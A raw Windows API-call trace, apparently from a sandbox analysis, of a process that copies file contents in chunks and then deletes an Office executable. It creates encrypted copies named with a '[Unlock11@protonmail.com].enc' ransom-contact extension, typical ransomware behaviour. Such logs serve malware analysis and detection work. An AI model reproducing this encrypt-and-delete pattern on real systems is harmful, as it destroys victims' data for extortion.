0x9b0 [0119.038] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.039] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.040] GetCurrentThreadId () returned 0x9b0 [0119.040] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.040] GetCurrentThreadId () returned 0x9b0 [0119.041] GetCurrentThreadId () returned 0x9b0 [0119.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0119.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.041] GetCurrentThreadId () returned 0x9b0 [0119.041] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.042] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.043] GetCurrentThreadId () returned 0x9b0 [0119.043] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.043] GetCurrentThreadId () returned 0x9b0 [0119.043] GetCurrentThreadId () returned 0x9b0 [0119.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0119.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.043] GetCurrentThreadId () returned 0x9b0 [0119.044] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.044] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.046] GetCurrentThreadId () returned 0x9b0 [0119.046] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.046] GetCurrentThreadId () returned 0x9b0 [0119.046] GetCurrentThreadId () returned 0x9b0 [0119.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.046] GetCurrentThreadId () returned 0x9b0 [0119.047] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.047] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.048] GetCurrentThreadId () returned 0x9b0 [0119.048] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.048] GetCurrentThreadId () returned 0x9b0 [0119.048] GetCurrentThreadId () returned 0x9b0 [0119.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.049] GetCurrentThreadId () returned 0x9b0 [0119.049] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.049] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.050] GetCurrentThreadId () returned 0x9b0 [0119.050] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.051] GetCurrentThreadId () returned 0x9b0 [0119.051] GetCurrentThreadId () returned 0x9b0 [0119.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.051] GetCurrentThreadId () returned 0x9b0 [0119.051] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.051] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.052] GetCurrentThreadId () returned 0x9b0 [0119.053] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.085] GetCurrentThreadId () returned 0x9b0 [0119.085] GetCurrentThreadId () returned 0x9b0 [0119.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.086] GetCurrentThreadId () returned 0x9b0 [0119.086] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.089] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.090] GetCurrentThreadId () returned 0x9b0 [0119.090] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.092] GetCurrentThreadId () returned 0x9b0 [0119.092] GetCurrentThreadId () returned 0x9b0 [0119.092] GetCurrentThreadId () returned 0x9b0 [0119.092] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.093] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.094] GetCurrentThreadId () returned 0x9b0 [0119.094] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.095] GetCurrentThreadId () returned 0x9b0 [0119.095] GetCurrentThreadId () returned 0x9b0 [0119.095] GetCurrentThreadId () returned 0x9b0 [0119.095] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.096] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.097] GetCurrentThreadId () returned 0x9b0 [0119.097] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.097] GetCurrentThreadId () returned 0x9b0 [0119.097] GetCurrentThreadId () returned 0x9b0 [0119.099] GetCurrentThreadId () returned 0x9b0 [0119.099] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.099] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.100] GetCurrentThreadId () returned 0x9b0 [0119.100] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.100] GetCurrentThreadId () returned 0x9b0 [0119.100] GetCurrentThreadId () returned 0x9b0 [0119.101] GetCurrentThreadId () returned 0x9b0 [0119.101] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.102] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.103] GetCurrentThreadId () returned 0x9b0 [0119.103] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.104] GetCurrentThreadId () returned 0x9b0 [0119.104] GetCurrentThreadId () returned 0x9b0 [0119.104] GetCurrentThreadId () returned 0x9b0 [0119.104] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.105] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.106] GetCurrentThreadId () returned 0x9b0 [0119.106] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.106] GetCurrentThreadId () returned 0x9b0 [0119.106] GetCurrentThreadId () returned 0x9b0 [0119.106] GetCurrentThreadId () returned 0x9b0 [0119.107] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.107] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.108] GetCurrentThreadId () returned 0x9b0 [0119.108] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.108] GetCurrentThreadId () returned 0x9b0 [0119.109] GetCurrentThreadId () returned 0x9b0 [0119.109] GetCurrentThreadId () returned 0x9b0 [0119.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0119.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.109] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.109] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.110] GetCurrentThreadId () returned 0x9b0 [0119.110] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.111] GetCurrentThreadId () returned 0x9b0 [0119.111] GetCurrentThreadId () returned 0x9b0 [0119.111] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.112] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.113] GetCurrentThreadId () returned 0x9b0 [0119.113] GetCurrentThreadId () returned 0x9b0 [0119.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.113] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.113] GetCurrentThreadId () returned 0x9b0 [0119.114] GetCurrentThreadId () returned 0x9b0 [0119.114] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.114] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.115] GetCurrentThreadId () returned 0x9b0 [0119.115] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x5e58, lpOverlapped=0x0) returned 1 [0119.115] ReadFile (in: hFile=0x39c, lpBuffer=0x35cb774, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35cb774*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0119.116] GetCurrentThreadId () returned 0x9b0 [0119.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x5e6d) returned 0x35c5908 [0119.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.116] GetCurrentThreadId () returned 0x9b0 [0119.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x5e75) returned 0x35c5908 [0119.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0119.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0119.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5e78) returned 0x35bb9e8 [0119.116] GetCurrentThreadId () returned 0x9b0 [0119.116] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.117] WriteFile (in: hFile=0x3ac, lpBuffer=0x35cc77c*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x35cc77c*, lpNumberOfBytesWritten=0x9b9a80*=0x4000, lpOverlapped=0x0) returned 1 [0119.117] GetCurrentThreadId () returned 0x9b0 [0119.117] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0119.117] GetCurrentThreadId () returned 0x9b0 [0119.118] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0xe80, lpOverlapped=0x0) returned 1 [0119.118] CloseHandle (hObject=0x3ac) returned 1 [0119.118] GetCurrentThreadId () returned 0x9b0 [0119.118] GetCurrentThreadId () returned 0x9b0 [0119.118] CloseHandle (hObject=0x39c) returned 1 [0119.118] GetCurrentThreadId () returned 0x9b0 [0119.119] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0 [0119.119] GetCurrentThreadId () returned 0x9b0 [0119.119] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", lpFilePart=0x9bada4*="OfficeUpdateSchedule.xml") returned 0x52 [0119.119] GetCurrentThreadId () returned 0x9b0 [0119.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0119.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0119.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0119.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0119.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.120] GetCurrentThreadId () returned 0x9b0 [0119.120] GetCurrentThreadId () returned 0x9b0 [0119.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4d0 | out: hHeap=0x2ad0000) returned 1 [0119.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.120] GetCurrentThreadId () returned 0x9b0 [0119.120] GetCurrentThreadId () returned 0x9b0 [0119.120] GetCurrentThreadId () returned 0x9b0 [0119.121] GetCurrentThreadId () returned 0x9b0 [0119.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0119.121] GetCurrentThreadId () returned 0x9b0 [0119.121] GetCurrentThreadId () returned 0x9b0 [0119.121] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae)) returned 1 [0119.121] GetCurrentThreadId () returned 0x9b0 [0119.121] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7dc | out: pbBuffer=0x366a7dc) returned 1 [0119.121] GetCurrentThreadId () returned 0x9b0 [0119.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0119.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0119.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0119.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.122] GetCurrentThreadId () returned 0x9b0 [0119.122] GetCurrentThreadId () returned 0x9b0 [0119.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea228 [0119.122] GetCurrentThreadId () returned 0x9b0 [0119.122] GetCurrentThreadId () returned 0x9b0 [0119.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0119.122] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.123] GetFileType (hFile=0x39c) returned 0x1 [0119.123] GetCurrentThreadId () returned 0x9b0 [0119.123] GetFileType (hFile=0x39c) returned 0x1 [0119.123] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.123] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.123] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.123] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.123] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.123] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.123] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.124] GetLastError () returned 0x0 [0119.124] GetCurrentThreadId () returned 0x9b0 [0119.124] GetLastError () returned 0x0 [0119.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0119.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0119.124] GetLastError () returned 0x0 [0119.124] GetLastError () returned 0x0 [0119.124] GetLastError () returned 0x0 [0119.124] GetLastError () returned 0x0 [0119.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0119.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265428 [0119.125] GetLastError () returned 0x0 [0119.125] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.126] GetFileType (hFile=0x3ac) returned 0x1 [0119.126] GetLastError () returned 0x0 